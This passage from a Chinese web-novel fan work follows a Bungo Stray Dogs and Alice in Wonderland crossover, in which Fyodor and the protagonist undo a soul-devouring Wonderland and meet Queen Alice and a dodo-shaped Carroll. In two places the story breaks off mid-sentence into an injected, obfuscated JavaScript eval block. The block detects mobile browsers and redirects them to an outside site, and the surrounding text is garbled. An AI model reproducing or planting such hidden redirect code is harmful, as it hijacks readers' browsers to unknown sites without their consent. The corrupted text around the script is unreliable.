很好,卡罗尔完全没和他说这件事。 可恶,回头就把刘易斯·卡罗尔的名字记在小本子上。等到回到布利切斯特大学,他一定要向卡夫卡举报这家伙拍没到性同意年龄的未成年萝莉的裸.体照片! “还有一件事!升变王车易位这种国际象棋走法现在已经被禁止了。” 没有办法在前者方面继续指责的夏章雾很快就想到了另外一种攻击方式:“你提醒我考虑这个OOL诞生的时间,应该也是想到了这一点。但你怎么肯定它就是在这种国际象棋走法被禁止之前诞生的?万一它出现在那之后呢?” “唔。” 费奥多尔想了想,很诚实地说:“这个我确实只有九成左右的把握,有赌的成分。不过这种程度的成功率已经足够让我赌一把了。” 九成左右的把握…… 夏章雾被噎住了:你的把握就这么高吗? “当时在和太宰他们汇合后,我问了他们在路上所见到和听到的东西。其中有一件事令我非常在意。” 费奥多尔笑了下,继续写着邀请函:“是蕨类唱的一首歌,内容大概是这样的。” “‘你愿意到我的房间试试吗? 美丽的小姐。’ 捕蝇草对蝴蝶说。” 费奥多尔用笔尾抵住下颌,酒红色的眼睛微微眯起,轻轻哼唱起来: “‘这里甜蜜的泉水闪着光, 让人们不由露出微笑。 看看这些柱子有多高, 多大的空间可以躺!’” “这首歌的旋律和内容来自于维多利亚时代的童谣《蜘蛛与苍蝇》的模仿。如果说内容相似还有原因,毕竟这首童谣确实流传了下来。那么旋律的相似就不是那么好解释了。” 费奥多尔的脸上露出有些无奈的微笑,像是想起了什么绝对算不上太美好的回忆:“更何况我还在茶壶里发现了睡鼠。” “茶壶里的睡鼠怎么了?” 夏章雾忍不住说。 “啊。维多利亚时代的孩子确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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费奥多尔轻松又果断地回答:“我相信您。” “……”夏章雾盯着他,“你闭嘴。” “哎哟哟,这下傲娇主角没法哈气了。” 画外音在旁边发出戏谑调侃的声音:“别看某人之前这么凶巴巴的,其实只是因为被讨厌的家伙太过信任而感到浑身不自在,开始防御性应激了而已。” “你也闭嘴。”夏章雾冷酷无情地说。 “你没法让我闭嘴。” 画外音的语气非常快乐:“有一种作者是永远没有办法被要求闭嘴的。因为她的每个思想都充满着自由的光辉——” “真的吗?”夏章雾继续冷酷无情,“等我把你举报了就老实了。” 于是画外音就这么消失了,消失的速度就和它冒出来的速度一样突然。 攻击完作者,夏章雾才把视线缓缓地、极度不情愿地挪回费奥多尔身上。对方的脸上始终带着浅浅的笑意,让他有一种对方正在看自己热闹的不自在感觉。 可恶,以前都是他看别人热闹的! “其实您也不必这样。”费奥多尔善解人意地开口说道,“其实在等待您这件事上,我一向都很擅长。而且这次等的时间也不算太久。” 夏章雾沉默片刻,最后还是没能抗住自己的好奇心:“……那久的时候有多久?” “五十三年四个月十七天。”费奥多尔轻松地说,“真是一段相当漫长的时光,不是吗?” 五十三年吗? 夏章雾默默地扭过头。 真的是很奇怪的感觉——他自己都没有活那么长的时间。 “唉,始乱终弃。” 作者突然又跳了出来:“唉,渣男。” “以后用正常方式说话。”夏某人无视了作者的抢戏,直接说,“别当谜语人了,谢谢。” “但您以前说过。”费奥多尔偏过头,用带着笑意的语气说,“有时候就需要谜语人一点,这样才比较有……格调?” “以前的我是傻逼。论证完毕。” 夏章雾深吸一口气,咬牙切齿地说出了这句话,决定不在这个话题上多做纠缠:“所以你写完邀请函了吗?写完我就去接客人了。” 费奥多尔从喉咙里发出闷闷的笑声,然后将邀请函展示给对方。 “还差一枚印章。”他说。 邀请函上的内容十分简短,甚至没有把具体邀请者的名字全部都写出来。 “致所有刚刚来到这里的灵魂, 误入这里的生者, 以及主宰欢乐与死亡的爱丽丝女皇: 黑棋国王将在城堡举办一起盛大的宴会,在太阳正式落下前,期待你们的到来。” 等夏章雾看完所有的内容后,费奥多尔直接用笔在末尾仿造了一份黑棋国王图案的印章,然后放下笔。 “现在好了。”他说,“接下来,就让我们看看这部走到结尾的电影到底能不能倒带吧。” 53.故意的还是不小心的 仙境,或者冥府。 这里是和现实完全不同的世界。 这里的时间可以停下,可以加速,可以忽快忽慢,可以同时存在着“过去”“现在”和“未来”。这里的未来可以比过去更容易被人所知,这里的过去有可能被未来决定。 既然这是一个要收到信后,信件才会被发送过来的世界,那么在这个世界里,能不能通过某种方法,彻底地改变过去所发生的一切呢? “看来我们这次赌赢了。” 夏章雾回想着读者以前给他留下的信息,轻轻地抬起手,这么说。 周围的一切正在被还原。 宏伟城堡的结构正在分解被成最最基础的建筑材料,这些建筑材料又变成了树木和岩石。树木又飞快地回退成了稚嫩的小苗,缩回大地。一颗种子又突然从土壤里跃起,飞回倒着飞行的鸟儿嘴中。 那些本来已经被分解得稀碎的灵魂在这个过程中被重新合拢。它们身上的时间正在倒流。 ——这就是他们想要做出的尝试。 邀请函上邀请的客人有着“所有刚刚来到这里的灵魂与刚刚误入此处的生者”。 如果像爱丽丝女皇所承诺的那样,每个被邀请的客人都由她保证必将应约前来,那么那些已经灵魂被拆解、成为这里一部分的人类灵魂能不能被复原成最初来到这里时的模样,以完整的样子来参加这次宴会? 现在这一切已经有答案了。 “是啊。” 费奥多尔看着手中因为材料都来自外界,所以没有消失的邀请函:“看来我们的爱丽丝女皇陛下真的在这里有着相当大的权限。” 其实他们也就是试一试而已,并没有想到真的能够成功。 毕竟把这些已经成为仙境本身一部分的灵魂重新抽出,再次复原成完整的灵魂的事情绝对已经触犯到了这个OOL的底线。 这种对人类满怀恶意的存在,是绝对不会把自己已经消化完的人类残渣重新吐出来,再好心好意地把它们拼成完整一个人的。 但爱丽丝确实做到了。 尽管只是懵懵懂懂间给出的承诺,但她依旧让这些原本已经被磨成碎片的灵魂再次有了重新得到完整的机会。 “是她当时跟我说,这里不管是过去还是未来的存在都属于她的子民,她拥有着命令他们的权力——说实在的,我觉得她都从来没有想过这种权力还能被这么使用。” 夏章雾抬起头,看着面前这个正在不断往后倒退的世界:“我猜,如果这个OOL真的执着于不断地制造故事,那么爱丽丝女皇大概就是这个故事的主角。就连它自己都没有办法去违抗主角许下的诺言。” 就像作者有时也根本拦不住他一样。 “你也知道我根本拦不住你做蠢事啊。” 作者的声音幽幽地响起:“当初到底是谁用自己跳下去的方式威胁我给飞行技能?是谁第一次飞完后就迫不及待地去投怀送抱?是谁心虚了就跳窗而跑的?哎呀呀,真是难猜。” “你知道你当初在这两章里到底给读者制造了多少笑话吗?唉,我现在觉得某个人现在评论区满天都是他的笑话完全就是应得的。” 夏章雾:“……” 不就是在心里稍微提了下你的名字嘛,至于这么应激吗?一口气说了这么多的话。 于是他毫无内疚与反省之心地无视了作者纯粹就是在水字数的胡言乱语,望着天空。 无数淡淡的流光从大地上升起,划过天空,然后又汇聚在大地上,重新构建出一个个模模糊糊的人类形状。 随之而来的,是大地上那些古怪而又离奇的玩意正在越来越少。 这些人类灵魂组成的东西消散的速度远快于太阳照射下的露水。就连草木与天空的色彩也在逐渐消失,逐渐呈现出空旷且一无所有的荒芜景象。 到最后,就连大地上的土壤和云也被剥夺。 那个本来像蛋糕一样甜美又甜腻的世界终于显露出自己冰冷的真容:由交错的钢铁管道组成的大地,还有玻璃组成的天空。 苍白的、没有任何颜色的雪从天空中纷纷扬扬地飘落下来,落在钢铁构成的大地上。 只有音乐的声音还在流淌着。 单调、清脆,一遍遍循环的音乐声。仿佛只有它才是真实存在的东西。 “所以,这里就连大地和天空都是由那些灵魂组成的啊。” 夏章雾眺望着远方几乎是空无一物的地方,最后叹了口气:“什么嘛,结果这里完全就是用人类灵魂堆砌出的风景。我还指望它能有点自己的东西呢。” 代表着对自我背叛的文学负面体,用他人的灵魂在自己的身上堆砌着美丽与荣誉,但自己的内心却早就空无一物。 听起来像是一个有点好笑、但又没法让人彻底笑出来的笑话。离评论区里那位爱丽丝小姐的笑话差远了。 费奥多尔没有接话。 他只是看着越来越多浮现出的人,似乎正在思考着什么。而他的安静也让夏章雾停止了这种毫无意义的抱怨,往人群看去。 那些灵魂正茫然地看着周围,内部发出一阵又一阵不安的骚动。他们看上去还不知道自己来到了什么样的地方,还有些人明显是被这里荒芜死寂的场景吓了一跳。 就像是邀请函所说的,他们现在只是刚刚来到这里的灵魂。他们并没有对这片土地的记忆。他们已经遗忘了自己曾经沉迷于这里的游戏、欢乐和自由,最后成为了仙境中一员,构成仙境的材料的过往。 与之相对的是,他们还没有在这里疯掉。他们还拥有着一个完整的灵魂。 “你在想什么?” 此时夏章雾已经结束了自己的遐想,好奇地偏过头问道。 “我在想,之前我写邀请函的时候好像忘记把太宰他们特别单列出来了。” 费奥多尔沉吟着说:“看现在的样子,他们应该也没法想起来在这里经历了什么——准确的说,他们现在应该是刚进入这里,还没来得及经历后续发生的事情。” 你真忘了? 夏章雾狐疑地瞥了对方一眼:“这是故意的还是不小心的?” 他可不相信对方会忘记这么重要……好吧,似乎也不算特别重要的事情。但他真的感觉面前这家伙这么做,有“杀人灭口”来消灭黑历史的嫌疑。 不过这家伙能有什么黑历史?而且也没有读者满脸兴奋地和他打小报告啊?难道俄罗斯那里对黑历史的定义和正常人不太一样? 眼看着夏章雾的表情越来越微妙,眼神越来越好奇,知道对方脑子里都在想什么的费奥多尔轻轻地咳嗽一声,打断了对方的猜测。 “还有一件事。” 他说,非常果断地选择通过转移话题的方法来吸引某个人过于旺盛的好奇心:“就是现实中那个死而复生的人。” 这么一说,夏章雾也想起那个人了。 就是那个最先引起了钟塔侍从对这个文学负面体注意力的死不掉的倒霉家伙,也不知道作者到底有没有给他一个名字。 “没有。” 作者非常果断地回答:“因为我懒得给人起名字了。我相信读者也懒得记外国人的名字,尤其是这种戏份没有多少的家伙。” 好吧,还真是个相当残酷的理由。 “话说回来,如果这里的一切都在还原成最初的样子,也就是生者与死者的灵魂刚刚来到这里时的样子。那他那里是什么情况?” 夏章雾摸了摸下巴,尝试用自己现在得知的这个文学负面体机制来理解对方身上到底都发生了什么:“他该不会也会变成正常的样子吧?那他到底是会变成个正常人,还是死掉?” 准确的说也没有办法变成正常人。毕竟在遭了某位俄罗斯侦探后,对方的身体情况只能用字面意思上的“能动”来描述了。 “但爱丽丝女皇答应的承诺应该也只在这里起到作用。他已经彻底地离开这里了。” 费奥多尔想了想,最后给出了相当客观的回答:“所以他应该还是没有什么变化吧。” “听起来真惨。” “是挺糟糕的。” 两个人默契地结束了这个话题,开始在越来越多的人群当中寻找起自己认识的身影,并且很快就发现了在里面上蹿下跳的太宰治。 嗯,太宰治的后面还有像拽着脱缰的野狗一样精疲力竭地拽着太宰治的坂口安吾,以及明显已经发现了他们的织田作之助。 夏章雾对织田作之助点了点头,满意地看到对方直接把太宰治给悬空提了起来,然后拉着坂口安 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夏章雾显然也没有那么好糊弄,使劲揉搓了几下太宰治婴儿肥的脸,把小孩子搓得变成了红温小河豚后这才松手。 “爱丽丝女皇在哪?” 他问费奥多尔:“这里的人太多了。我有点分辨不太出来。还有卡罗尔我也没有看到。” “他们应该还没有来。你知道的,他们的速度肯定要稍微慢一点。” 费奥多尔收回看向人群的目光,轻轻地偏了下脑袋,露出有些促狭的笑意:“而且您真的准备好面对那位女皇陛下了吗?” “呃……” 夏章雾被噎了一下,目光飘移起来。 不用想都知道,那位爱丽丝女皇的心情肯定好不到哪里去。 本来小女皇好好地在举办宴会,结果遇到了个玩游戏作弊的家伙。整个游戏过程毫无体验感就算了,结果对方在拿到了女皇的承诺后,还把整个宴会搞得一团乱糟,跑路之后甚至利用这个承诺把整个世界给拆了。 做出这么多罄竹难书的事情,就算是他也会有内疚感的……才怪! 夏章雾根本不内疚,他只是非常担心自己接下来看到的会是一个哭哭啼啼、呜呜咽咽、泪眼汪汪的小姑娘罢了。一想到这种可能性,他就有点头皮发麻。 “要不我先走一步吧。” 他突然严肃了脸色,毅然决然地决定临阵脱逃,把接下来的麻烦全丢在费奥多尔身上:“考虑到接下来应该是你们国王的场合,我这个车待在这里似乎很有违和感的样子……” “需要我提醒您吗?” 费奥多尔十分友善地说:“国际象棋里有一条规则:国王不能吃掉国王。” 国际象棋怎么那么多乱七八糟的规则! 夏章雾虚起眼睛,不得不把已经迈出去的脚收了回来。整个人就像条被装在花岗岩盘子里的大型腌渍鱼类,就算是厚重的漆黑铠甲都挡不住他那种不想干活的咸鱼气息。 “国王?” 坂口安吾看了眼周围的场景——他们是在从兔子洞掉进来后就莫名其妙地出现在了这个由玻璃和钢铁组成的地方,有些困惑:“所以这里到底发生了什么?你们已经找到爱丽丝女皇,还有卡罗尔先生了吗?” “准确的说,是你们先找到了卡罗尔。” 夏章雾耸了耸肩,在未成年不解的目光下解释道:“不过那是未来发生的事情,而那个未来大概是没有办法重新出现了。现在知道那段时间里到底发生了什么的应该只有我、你们旁边的那位大侦探和爱丽丝女皇?” 这个解释造成的费解程度大概比不解释还要高。三个未成年人的目光似乎都有点茫然。最后还是太宰治开了口。 “所以费奥多尔先生现在也是先知了吗?” 他好奇地问:“那我能不能看到大叔因为同行竞争过于剧烈,失业后流落街头,最后用五十英镑被骗去做牛马——唔唔唔!” “小孩子欠揍了。” 夏章雾眼疾手快地捂住了太宰治的嘴,面不改色地说:“习惯就好。” 费奥多尔“嗯”了一声,看上去对这种事情确实已经相当习惯。 然后他才开口:“你等的人来了。” 54.就是你小子除我人籍的? ……爱丽丝女皇来了? 夏章雾脸上的表情微微一僵,甚至都没有抬头看人的意思,而是十分果断地后退一步,把主要战场让给了费奥多尔。 然后他就假模假样地从怀里摸出笔记本,装作自己正在浏览预言,没空理会这里发生了什么的样子,开始研究读者给出的评论。 「不吃掉月亮就要无敌了: 哈哈哈哈哈哈账务我跟你说喔,玧末超级厉害,在群里弄了个你的 AI 。它目前会把自己当成一本书,费佳佳或者是太宰治说话,最大的出息是又在污蔑爱丽丝,爱丽丝气的尖叫(指指点点)(这个账务)(怎么这么坏啊一一)」 夏章雾盯着这条评论:“?” 在这一刻他想了很多,但又感觉自己仿佛什么都没想,总之心里有一种非常强烈的想要吐槽点什么的冲动。 画外音:“噗。” 可恶。最近玛丽好像正在研究人工智能,等回去一定要和她说,绝对绝对不能让人工智能运用到这种地方! 虽然目前污蔑爱丽丝不算是什么,但总感觉要是继续下去的话,他的一世英名很快就要被AI给毁掉了啊! “乐。”画外音说,“我觉得爱丽丝会骂你。” “没事。”夏章雾理直气壮地小声回答,“反正我知道她这种傲娇骂人都不是真心的。” 画外音陷入了沉默。 它很认真地思考了几秒有关于“这句话里的傲娇到底是指他自己还是指爱丽丝”的话题,最后选择明智地闭嘴。 「Audience: 呀……要是读者给出了错误的提示会很糟糕吧?来玩猜谜游戏怎么样?!在一众答案中找到对的那个,也没准都是对的或者错的呢!」 喂喂喂,何等可怕的欺骗!观众小姐你当乐子人就算了,不要在这里摧毁主角和读者们可靠的信任基础啊! 夏章雾嘴角扯了扯,突然有一种不妙临头的感觉。 但他也没有特别在意:怎么说呢,他对于读者们还是很放心的,否则当初就不会把那么重要的计划一部分交给读者来完成,肯定要提前动点作弊手段。 毕竟当时游戏用的牌就是他亲手画出来的,想要物理作弊绝对简简单单:唯一需要担心的就是被爱丽丝女皇或者文学负面体拆穿。 「玧末: 真要说的话,咳咳,能让陀总等你这么久,还疑似找不到人,账务你还蛮厉害的,也不知道是干什么去了(思索)」 “勒托先生。” “喂喂,我也不知道啊。而且那可是过去的事情,过去我做的事情和现在的我有什么关系。反正我才不要给过去的我自己背锅。” “勒托先生?” 费奥多尔在旁边发出礼貌的询问。 “而且你们怎么满脑子都是别人的八卦,我已经看到你们不止一个不止一次地嚷嚷着想要看乐子了——嗯?喊我什么事情?” 夏章雾抬起头,然后又顺着费奥多尔的视线望过去,于是就看到了正在用无语的目光瞧着他的渡渡鸟。 不是爱丽丝? 呃……不过也对,好像那家伙也没说来的就是爱丽丝。 “渡渡渡渡?”渡渡鸟扭头看向费奥多尔。 “他说的是,你现在这种喜欢自言自语的情况已经持续多久了?”织田作之助在旁边尽职尽责地承担了翻译的工作,主动说道。 “目前已经持续几个月了,不用担心。还没有到可以被送进精神病院的程度。” 费奥多尔简洁明了地替夏章雾做出了回答,随后看向对方:“现在我得去安抚人群。现在人正在聚集得越来越多,很容易出现群体恐慌和骚乱,必须让他们镇定下来。” ——所以卡罗尔先生的问题就交给您了。 他微笑的表情如是表明,然后就转身离开了这里。太宰治看了一圈,最后十分欢快地抛弃了夏章雾,拽着坂口安吾就去追费奥多尔去了。 夏章雾看着他们离去的背影,目光逐渐变成了死鱼眼。 行,他就知道自己被喊起来就是打工的。 “好极了。”他说,“所以请问您有什么要说的吗?某位喜欢拍没到性同意年龄萝莉裸.体照片、且现在种族是渡渡鸟的混蛋教授?” “渡渡渡!” 卡罗尔立刻有些气愤和焦急地叫起来——说起来,就算是所有人都恢复成了原样,卡罗尔还是一直保持着渡渡鸟的样子,用着一口谁也听不懂的渡渡鸟语言。 或许他真的是刚来到这里就被变成了渡渡鸟的样子。那么问题来了,他还能变回原来的模样吗?钟塔侍从的其他成员到底能不能接受自家异能者变成了灭绝生物的现实…… 嗯,应该能接受吧? 毕竟钟塔侍从又不怎么缺异能者,但实打实地没有灭绝物种来着。 “渡渡渡,渡渡渡!” 似乎见到夏章雾有点走神,卡罗尔又扑腾了两下翅膀,发出带着几分催促色彩的叫声。 织田作之助继续翻译:“卡罗尔先生说他不是混蛋。” “这个我看它表情就知道了。” 夏章雾虚起眼睛:“某只鸟都差点急到直接扑到我脸上去了。” 织田作之助也觉得很有道理,于是点点头,继续说:“卡罗尔先生还问了现在的爱丽丝到底是什么情况。他记忆里的爱丽丝绝对不会愿意当这么久的女皇。” 爱丽丝的情况啊。 夏章雾低头看了眼渡渡鸟,表情有些微妙。 说起来,当初有关爱丽丝女皇的情报,他还是从卡罗尔那里听到的。但现在反倒是轮到他来回答卡罗尔的这个问题了。 但那个答案…… “那位女皇并不完全是爱丽丝。” 最后他还是选择直接开口:“来到这里的人类灵魂本来都没有几个完整的了。那位爱丽丝女皇大概是这个OOL用爱丽丝的一部分灵魂制造出的——别的什么东西吧?” 说到最后,夏章雾自己都犹豫了一下。 其实到现在,他都没法确认那位小女皇到底是什么样的定位。 和之前遇到的斯芬克斯不同,爱丽丝是连文学负面体本身都无法控制的角色。她掌管这个世界里的一切,可以把人驱逐出这里,也能让已经被毁掉的人重新“复活”。 这样的特权,难道只是因为《漫游奇境》与《镜中奇遇记》中都存在着一个名为爱丽丝的主角吗?所以这个文学负面体也受到了影响,想要制造出属于自己的“爱丽丝”? 还是说…… “爱丽丝”的存在并非是出于感性上的原因,而是它不得不做出的妥协?是不是只要他们杀死了这个爱丽丝女皇,事情就能得以解决? 夏章雾微微皱眉,但是没有过多考虑这个可能性。 且不说在这个“无法死亡”的世界中到底能不能把那位女皇杀死。就算能杀死,估计这个文学负面体也能制造出新的“爱丽丝”。 渡渡鸟愣了一下。 “渡渡渡?”他问。 “卡罗尔先生说。” 织田作之助也忍不住看了渡渡鸟一眼,有些欲言又止:“可现在大家都恢复了正常状态,为什么爱丽丝还是这样。” 剩下的话他没有说出来,因为在旁边津津有味地凑热闹的太宰治主动替他说了。 “也不是所有人都恢复正常了,卡罗尔先生你现在就还是渡渡鸟嘛。” 他有些好奇地盯着这只蓝灰色怪鸟的羽毛,忍不住伸手要去摸:“现在把卡罗尔先生抱出去的话,总感觉能够吸引一大群人的注意力。” “渡渡渡渡!”卡罗尔连忙拍拍翅膀,躲开了太宰治的袭击。 “话说你怎么跑回来了?” 夏章雾没怎么在意卡罗尔的动作,而是扭过头去看太宰治:“那家伙说要去安抚人群时,你不是拽着安吾一起去围观了吗?” 他可是看到了,这小崽子一下就拽着坂口安吾跑掉了,头都没有回。 “因为走了几步才想起来,这种事情想想都好无聊的嘛!就是把一些随随便便就能讲的大道理反反复复地给不同的人解释几十分钟。” 太宰治收回手,理直气壮地说道:“不像是这里,围绕大叔的有趣乐子可不是谁都能轻轻松松制造出来的——哎呦!” 说出实话的代价就是,某只栗子河豚又被大人往脑袋上揍了一拳。 欺压完未成年人后,夏章雾才望向卡罗尔。 “爱丽丝对于这里来说是特殊的,所以为了预防意外,我们才没有尝试让她的时间倒退到刚来到这里时的样子。” 他用研究的目光打量着面前的渡渡鸟:“换而言之,你才是特殊情况。你知道这是怎么回事吗——顺便一提,之前在揍太宰治的时候,我已经留给你充分的思考和组织语言时间了,所以尽可能快点回答。” “呜呃,我才不要成为大人游戏的一环……” 太宰治捂着自己的脑袋,蹲在地上,很是郁闷地说。 然后就再次被敲了。 而被提问的渡渡鸟则是一脸茫然地看着他,然后突然跳了起来,发出悲愤的“渡渡”声,几乎都要扑到夏章雾的脸上。 “渡渡!渡渡!渡渡渡渡渡渡!” “卡罗尔先生在说他也不知道。” 织田作之助翻译道:“他还说如果能当人的话,没有人愿意当渡渡鸟。” “前半句话我很认同,毕竟他看上去真的不怎么想继续当鸟。” 夏章雾淡定地把这只倒霉的渡渡鸟重新按下来:“但后半句话我完全不认同。道格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415870|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉斯要是知道还有这种好事,他肯定很乐意的。” “渡渡!渡渡!” 渡渡鸟发出特别大的噪音。 “听起来感就像是在说‘这算什么好事’。” 夏章雾摸了摸下巴,客观地评价道,同时感觉自己的渡渡鸟语已经快要到大成水平了。 就是这门语言没什么用,毕竟他在现实生活中又看不到渡渡鸟。 “其实还有一件事。”织田作之助想了想,突然开口,“我的意思是,这句话不是我翻译卡罗尔先生的。是我想说的。” 两个人和一只鸟齐齐看向他。 “啥?”夏章雾说。 织田作之助指了指远方的天空。 “好像这里除了卡罗尔,还有别的动物。” 织田作之助抬起头,很是认真地说:“那里飞过来的东西应该就是鸟吧。我之前还一直觉得是子弹。” 但后来他觉得子弹应该做不到飞得这么慢,还在天空中无意义地拐弯——除非这里有一个实在闲得没事情干的异能者,正在用子弹进行空中艺术表演。 夏章雾微微眯起眼睛。 “等一下。”他说,“我去上面看看。” 他张开背后的翅膀,然后熟练地把好奇伸过来的太宰治爪子拍走,朝着远处玻璃天空下下那个移动的黑点飞去。 “?”太宰治看了看自己被拍红的手,然后又抬头看了看飞走的大人,陷入沉思。 在这一瞬间,他脑子里出现了“这东西莫非不是异能”“如果这不是异能还能是什么”“该不会这就是对方天生的吧”等等一系列想法。 “织田作。”最后他很是沉重地说,“你觉得大叔那种家伙是天使的可能性有多大?” 织田作之助努力地回想了一番。 然后他有些困惑地询问道:“天使的翅膀是这种颜色的吗?” “就是因为有点黑色才真实嘛。否则大叔他顶着个纯白翅膀到处飞什么的,就算是看到也会觉得自己是在做梦吧。” 太宰治托着脸颊,忧郁地叹了口气:“不过现在这种情况也让人感觉自己像是在做梦了。织田作,你说人类其实是不是年满三十岁后都会长出翅膀,只是你们一直都瞒着我,让我觉得有翅膀的人类根本不可能出现……” 织田作之助看上去像是在认真地思考这种可能性。 “不知道,毕竟我也没有三十岁。” 他最后十分诚恳且认真地说:“但我以前也没见过长着翅膀的人,否则我过去的杀手生涯肯定没那么顺利。” “所所所以你们为什么会觉得他他他就是天使。”卡罗尔都快要看不下去了,扑腾着翅膀就跳了过来,同样不怎么相信夏章雾有成为天使的可能性,“这一看就就就是异能效果吧?” 两个未成年人齐齐地转头去看他。 这句话里的质疑意味太强烈了,就连太宰治都听懂了对方到底想要表达什么。 “因为我的异能是异能无效化。” 太宰治用看同病相怜的倒霉鬼的眼神看了眼满脸不解的渡渡鸟,果断地把对方也拉入了自我怀疑当中:“接触就能起效的那种。” 卡罗尔愣了两秒。 卡罗尔:“?” 他直接凑过去,把短翅膀“啪”地一下拍在了太宰治的身上,尝试着使用自己的异能。 没有任何反馈——是真的。 刘易斯·卡罗尔默默收回翅膀,一时间不知道自己是该震惊于夏章雾那个混球不是人,还是该惊讶于自己看到了一个全欧洲都没有的异能。 无效化异能的异能? 不是哥们,这合理吗?你的异能怎么没把自己的异能先给无效化啊? 另一头,因为某个人突如其来就飞起来的行为,本来暂时安定下来的人群也暂时出现了一点小小的骚动。 “看,长着翅膀的人!”“这是天使吗?”“笨蛋,天使的翅膀怎么会是半黑半白的?”“那就是路西法!”“那也不可能是半黑半白的吧!”“你们都别吵了,那肯定是送子鹳!” 费奥多尔抬头,平静地看着这一幕。他身边的坂口安吾则是满脸茫然。 “刚刚飞过去的是勒托先生?” 未成年人有些懵圈地问。 平时可能认不出来,但现在对方身上那一身漆黑的铠甲实在是太明显了。就算是想当看不见都难。 “嗯。”费奥多尔淡定地点点头,“不过应该很快就回来了——啊,回来了。” 天空中的不明飞行物以比飞去时更快的速度飞了回来,同事伴随而来的还有意义不明的、用中文发出的慌张声音。 “我去!是爱丽丝和鹰和吸蜜鹦鹉啊!” 他喊道:“她见到我就哭了!我都没来得及开口说话呢!” 55.天上飞的不仅有天使 事实证明,就算有人长着翅膀在天上飞,也是能轻而易举地把人类对天使的滤镜打碎得一干二净的。 费奥多尔微不可查地轻轻叹了口气,看着对方和慌不择路的鸟一样飞到后面,然后扭头去看他逃过来的方向。 “这里真的好高——” 小女孩害怕又担心的声音远远地响起:“笨蛋伊迪丝,你飞的时候小心一点啊!我们都快要掉下去了!” “好累,好累啾……” 委屈巴巴的另一个女孩声音传来。 “肯定是掉不下去的,笨蛋爱丽丝。” 另外一个显得有些傲慢的女孩子声音这么教训道:“我们两个都在拉着你呢,怎么想都不会掉下去。” “可是我感觉已经快要掉下去了呀?” 小女皇本来还带着点哭腔的声音就这么逐渐变成了困惑:“而且为什么你们拉着我就不会掉下去?我感觉你们也有很可能掉下去,更何况我们现在就正在下落!” “哎呀,因为……因为……” 吸蜜鹦鹉想了半天,最后发出了相当骄傲的声音:“因为我比你大,所以你得听我的!” “听上去真不公平。” 爱丽丝说:“而且我们现在都快要掉到地面上了……哎呀!” 天空中的黑点就这么掉落下来。 费奥多尔再次叹了口气。 活了几百年的侦探先生突然明白了自己在应付这里情况时得心应手的熟练度到底是从哪里来的:这里生物满脑子不着调的想法和某位先知先生实在是有点太像了。 “我想,她不是看到您才哭的。” 他对偷偷摸摸从后方重新摸过来的夏章雾说道:“她大概是因为恐高。” “是、是吗?” 夏章雾努力若无其事地站了出来,但可以看出来他还是心虚得要命,尽可能地把自己压缩在费奥多尔的后方。 “不过她应该还没看到我吧?看到我后会不会哭得更大声?” 他嘀嘀咕咕着:“等等,我本来就不在意她是不是因为我哭的,我在意的就是她有没有哭。哭起来的小孩子真的很烦人。没人想面对哭个不停的小孩子,说又说不通,劝又劝不住……” 这番言论就连坂口安吾都能听出来纯属于胡言乱语。而且这种事他也很熟悉:当初某个大人第一眼看到他的时候也差不多就是这个状态。 只能说有的人在遇到会哭的未成年人后,整个思维逻辑都会降低到零点。 坂口安吾默默扶额,随后抬起头,无奈地看了眼费奥多尔先生,转身就走。 他觉得自己现在最好还是去找那位从天上掉下来的爱丽丝女皇为妙。 话说回来,总感觉这么丢脸的事故更像是会发生在勒托先生的身上,以至于看着对方现在还完完整整地站在这里,总有点说不上的违和感。 “勒托先生。” 费奥多尔看了眼没入人群的坂口安吾,默许了对方的行动,然后喊了声夏章雾的“名字”。 “嗯?” 正在尝试压缩自己的夏章雾闻言谨慎地探出半个脑袋,先是左顾右盼一番,确定完周围的风险后才开口:“干什么?” “除了爱丽丝陛下,您还有什么发现吗?” 费奥多尔问。 他酒红色的眼睛很认真地看着对方,像是笃定了他刚刚因为小孩子还在场,所以没有说出全部的内容。 “发现……” 这下夏章雾也不急着压缩自己了,他挑了下眉,双手环抱:“在上面飞的时候看到了大本钟算不算?这里和现实的距离真的越来越近了。” “听上去并不是那么出人意料。” 费奥多尔歪了歪头,这么说。 “实际上还是挺出人意料的:要不是我还认得那个表盘,大概都猜不出来那个充满创意的玻璃喷泉和大本钟有关。” 夏章雾耸耸肩,然后望向周围:“与其说是现实中的东西,倒不如说是以现实为素材拙劣缝制的伪物,把现实的形象用无法理喻的逻辑重新构成的结果。” 混乱而又毫无意义的元素堆砌,倒是非常有这个文学负面体的风格。 “但它还没有真正地和现实重叠。” 费奥多尔抬起眼眸,语气平静:“现在还有彻底终止它的机会。” 如果这个死亡世界与活人的现实重叠乃至融合在了一起,就算不管“大家现在到底算活着还是死了”这样的终极哲学问题,想要杀死这个文学负面体也会麻烦得多。 到那个程度后,有谁敢说杀死它后不会连带着整个现实世界不一起崩溃呢? 夏章雾眯起眼睛,看着玻璃天空中倒映出的大地上的影子。 ——他现在有点明白,这次的文学负面体为什么那么轻松地就让爱丽丝把所有人类完整的灵魂给还回来了。 因为它已经找到了更多的、足以装点自己的素材,已经找到了足以填饱自己胃口的东西。它想要一口气地吞下整个地球人类的灵魂,乃至于整个现实。 “你判断还有多久时间?” 夏章雾短暂地闭上眼睛,开口问道。 “应该还有五六个小时。现在这里出现的和现实有关的事物并不算多,而且现实世界中的人类也没有出现。” 费奥多尔给出了相当专业的回答:“最重要的是,我们现在需要找到对应现实中白金汉宫的地方。如果没有阿尔贝蒂娜,我们的计划就缺少最重要的一步。” 阿尔贝蒂娜女王。 她现在应该就在现实的白金汉宫当中,那里是女王的居所。但这不重要,重要的是那个“我们的计划”是什么情况? 